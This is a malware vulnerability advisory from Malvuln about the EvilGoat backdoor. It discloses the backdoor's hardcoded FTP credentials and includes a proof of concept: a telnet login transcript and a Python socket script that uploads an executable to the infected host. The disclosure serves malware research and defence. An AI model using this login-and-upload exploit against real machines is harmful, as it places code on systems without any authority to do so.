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Backdoor.Win32.EvilGoat.b MVID-2022-0619 Hardcoded Credential

Backdoor.Win32.EvilGoat.b MVID-2022-0619 Hardcoded Credential
Posted Jun 30, 2022
Authored by malvuln | Site malvuln.com

Backdoor.Win32.EvilGoat.b malware suffers from a hardcoded credential vulnerability.

tags | exploit
systems | windows
SHA-256 | 19ef0671c05c0afcf2c8bf3c081a0188020bbea1b901243ff9829edcb89199ff

Backdoor.Win32.EvilGoat.b MVID-2022-0619 Hardcoded Credential

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Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/20daf01e941f966b21a7ae431faefc65.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.EvilGoat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 13014. Authentication is required, however the credentials "evilgoat / penix" are weak and found within the PE file.
Family: EvilGoat
Type: PE32
MD5: 20daf01e941f966b21a7ae431faefc65
Vuln ID: MVID-2022-0619
Dropped files: ftpsvr.exe
Disclosure: 06/29/2022

Exploit/PoC:
telnet.exe x.x.x.x 13014

220 FTP Server
USER evilgoat
331 Password required for evilgoat.
PASS penix
230 User evilgoat logged in.
SYST
500 'SYST': command not understood.
PASV
227 Entering Passive Mode (192,168,18,125,236,209)
CDUP \
250 CWD command successful.
STOR DOOM.exe
150 Opening BINARY mode data connection for file transfer.
226 Upload Complete, 25602 bytes sent.

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=60625
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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